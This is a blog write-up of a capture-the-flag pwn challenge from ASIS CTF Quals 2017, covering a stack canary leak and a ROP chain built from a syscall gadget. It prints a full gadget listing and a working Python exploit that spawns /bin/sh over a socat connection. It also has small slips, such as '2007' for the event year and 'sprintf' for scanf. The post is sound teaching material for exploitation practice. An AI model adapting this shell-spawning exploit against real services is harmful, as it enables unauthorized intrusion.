Blog of Malte Kraus

home

ASIS CTF Quals: "Random Generator" Challenge

09 Apr 2017

Today, I'll tell you how I (we) solved the "Random Generator" challenge at 2007's ASIS CTF qualifier round. It's a pwning challenge, so finding the vulnerability wasn't too hard:

The challenge was a x86_64 Linux binary, with most standard exploit mitigations enabled, including (this will be important) stack canaries, but excluding position independent code (allowing ASLR). The main function in the binary called a function that would fill and return a stack-allocated buffer with random data, and then allowed the user to query exactly 7 bytes of that buffer. This of course means that the returned pointer was dangling, pointing to memory that functions called later on might write to. When the user asks for another byte, the program would call sprintf("%s") on another stack-allocated buffer. This scanf call is a trivial buffer overflow on the stack, only complicated by the use of stack canaries.

The binary was of course written exactly so that the random data in the buffer the user could leak would contain the stack canary. Since gcc's stack canaries always end with a zero byte, leaking only 7 of the 8 bytes was sufficient to know the whole canary value. (Finding all this out was complicated a little by gdb's tendency to mess with the exact stack layout, but was still pretty easy in the end.)

The actual challenge was about finding a working ROP/JOP exploit. The scanf call with a "%s" format string reads all user-defined data (including NUL bytes!) up to a white space character. Unluckily, while ASLR wasn't enabled, all addresses for useful library functions (scanf, printf and such) both in the GOT and the PLT contained such white space characters and therefore could not be used in the ROP chain, and while some registers could be set to arbitrary values (using some arithmetic expressions on them), there were no gadgets to jump to an address pointed to by a register, either. The only useful ROP gadget I managed to find was a syscall:

$ ROPgadget --binary /tmp/Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1 --badbytes '0a|09|0b|20|0d'

Gadgets information
============================================================
0x0000000000400286 : adc bl, dl ; ret
0x0000000000400f82 : add al, byte ptr [rax] ; add byte ptr [rax], al ; add byte ptr [rax], al ; mov rdx, rsi ; ret
0x0000000000400f6f : add bl, dh ; ret
0x0000000000400f87 : add byte ptr [rax - 0x77], cl ; ret
0x0000000000400f6d : add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400f85 : add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ret
0x0000000000400f6b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400f83 : add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ret
0x0000000000400f84 : add byte ptr [rax], al ; add byte ptr [rax], al ; mov rdx, rsi ; ret
0x0000000000400f6c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400f7d : add byte ptr [rax], al ; add byte ptr [rcx], al ; add byte ptr [rdx], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ret
0x000000000040027d : add byte ptr [rax], al ; add byte ptr [rdi + 0x4e], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f7e : add byte ptr [rax], al ; add dword ptr [rax], eax ; add al, byte ptr [rax] ; add byte ptr [rax], al ; add byte ptr [rax], al ; mov rdx, rsi ; ret
0x000000000040027a : add byte ptr [rax], al ; add eax, dword ptr [rax] ; add byte ptr [rax], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f86 : add byte ptr [rax], al ; mov rdx, rsi ; ret
0x000000000040027e : add byte ptr [rax], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f6e : add byte ptr [rax], al ; ret
0x0000000000400f72 : add byte ptr [rax], al ; sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040027b : add byte ptr [rbx], al ; add byte ptr [rax], al ; add byte ptr [rdi + 0x4e], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f7f : add byte ptr [rcx], al ; add byte ptr [rdx], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ret
0x000000000040027f : add byte ptr [rdi + 0x4e], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f81 : add byte ptr [rdx], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ret
0x0000000000400283 : add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f80 : add dword ptr [rax], eax ; add al, byte ptr [rax] ; add byte ptr [rax], al ; add byte ptr [rax], al ; mov rdx, rsi ; ret
0x0000000000400ef6 : add eax, 0xfffac4e8 ; dec ecx ; ret
0x0000000000400e80 : add eax, 0xfffb3ae8 ; dec ecx ; ret
0x0000000000400e28 : add eax, 0xfffb92e8 ; dec ecx ; ret
0x000000000040027c : add eax, dword ptr [rax] ; add byte ptr [rax], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f57 : add esp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f56 : add rsp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400ec5 : call 0x10020fe5
0x0000000000400f49 : call qword ptr [r12 + rbx*8]
0x0000000000401107 : call qword ptr [rax]
0x0000000000400f4a : call qword ptr [rsp + rbx*8]
0x0000000000400285 : cwde ; adc bl, dl ; ret
0x0000000000400f4c : fmul qword ptr [rax - 0x7d] ; ret
0x0000000000400f47 : mov edi, edi ; call qword ptr [r12 + rbx*8]
0x0000000000400f46 : mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x0000000000400f41 : mov edx, ebp ; mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x0000000000400f89 : mov edx, esi ; ret
0x0000000000400f44 : mov esi, esi ; mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x0000000000400f88 : mov rdx, rsi ; ret
0x0000000000400f43 : mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x0000000000400f65 : nop ; nop word ptr cs:[rax + rax] ; ret
0x0000000000400f68 : nop dword ptr [rax + rax] ; ret
0x0000000000400f67 : nop dword ptr cs:[rax + rax] ; ret
0x0000000000400f66 : nop word ptr cs:[rax + rax] ; ret
0x0000000000400f59 : or byte ptr [rbx + 0x5d], bl ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f5c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f5e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f60 : pop r14 ; pop r15 ; ret
0x0000000000400f62 : pop r15 ; ret
0x0000000000400f8c : pop rax ; pop rdi ; ret
0x0000000000400f5b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f5f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400f5a : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f63 : pop rdi ; ret
0x0000000000400f61 : pop rsi ; pop r15 ; ret
0x0000000000400f5d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400282 : push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400288 : ret
0x0000000000400ec8 : ret 0xb60f
0x0000000000400ebe : ret 0xd089
0x0000000000400ec6 : sbb byte ptr [rcx], al ; ret 0xb60f
0x0000000000400ecb : shr byte ptr [rcx], cl ; ret 0xd089
0x0000000000400284 : std ; cwde ; adc bl, dl ; ret
0x0000000000400f75 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400f74 : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000400f8f : syscall ; ret
0x0000000000400f6a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400f45 : test byte ptr [rcx + rcx*4 - 1], 0x41 ; call qword ptr [rsp + rbx*8]

Unique gadgets found: 71

After spending way too much time on some dead ends, the solution still ended up rather simple. Calling library functions is of course not necessary at all when you can perform arbitrary syscalls. So the exploit I ended up with uses a ROP chain to first do a read() call that reads the string "/bin/sh" to some known writable address, followed by a call to execve (with NULL argv and environment parameters, although these could be set with even more calls to read()).

The (rather gross) exploit ended up like this:

#!/usr/bin/env python3

# execute this script like this:
# socat exec:"python3 /mnt/exploit.py" tcp:69.90.132.40:4000
# socat exec:"python3 /mnt/exploit.py" system:"./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1"

import sys
import struct
import os
from time import sleep

def get_canary():
    canary = bytearray(8)
    inp = ""
    for i in range(1, 8):
        while True:
            inp = sys.stdin.readline().rstrip()
            print(repr(inp), file=sys.stderr)
            if inp.endswith("to get?"):
                break
        print(str(i), flush=True)
        print(str(i), file=sys.stderr)
        l = sys.stdin.readline().rstrip()
        print(repr(l), file=sys.stderr)
        _, _, val = l.rpartition(" ")
        canary[i] = int(val)
    canary = struct.unpack('<Q', canary)[0]
    print("canary: {}".format(hex(canary)), file=sys.stderr)
    return canary

def get_payload(canary):
    # Input to trigger 1st `scanf()`
    print(b'10\n', file=sys.stderr, flush=True)
    sys.stdout.buffer.write(b'10\n')
    sys.stdout.buffer.flush()
    inp = ''
    while True:
        inp += sys.stdin.read(1)
        if inp.endswith("comment: "):
            break
    print(repr(inp), file=sys.stderr, flush=True)

    p = b'a' * (129 * 8)

    p += struct.pack('<Q', canary) # Stack canary

    p += b'a' * 8 # Dummy rbp

    # rax=read, rdi=stdin
    p += struct.pack('<Q', 0x400f8c)    # `pop rax; pop rdi; ret`
    p += struct.pack('<Q', 0)           # rax: 0 (read)
    p += struct.pack('<Q', 0)           # rdi: fd=0 (stdin)
    # n=8
    p += struct.pack('<Q', 0x400f61)    # `pop rsi; pop r15; ret`
    p += struct.pack('<Q', 0x8)         # count=8
    p += b'a' * 8
    p += struct.pack('<Q', 0x400f88)    # mov rdx, rsi ; ret
    # rsi=writable
    p += struct.pack('<Q', 0x400f61)    # `pop rsi; pop r15; ret`
    p += struct.pack('<Q', 0x602100)    # writable address
    p += b'a' * 8
    # read()
    p += struct.pack('<Q', 0x400f8f)    # Syscall

    # rax=execve
    p += struct.pack('<Q', 0x400f8c)    # `pop rax; pop rdi; ret`
    p += struct.pack('<Q', 59)          # Syscall number for execve()
    # rdi=writeable
    p += struct.pack('<Q', 0x602100)    # Writeable address
    # rsi = 0
    p += struct.pack('<Q', 0x400f61)    # `pop rsi; pop r15; ret`
    p += b'\0' * 8                      # argv[]
    p += b'a' * 8                       # Dummy r15
    # rdx = 0
    p += struct.pack('<Q', 0x400f89)    # `mov edx, esi`
    # execve()
    p += struct.pack('<Q', 0x400f8f)    # Syscall

    sys.stdout.buffer.write(p)
    sys.stdout.buffer.flush()
    print(repr(p), file=sys.stderr)

    sleep(1)
    print("/bin/sh\0", end='', flush=True)
    sleep(1)
    print("echo a", flush=True)

    os.system("cat < /dev/tty & cat > /dev/tty")

#os.read(2, 1)

get_payload(get_canary())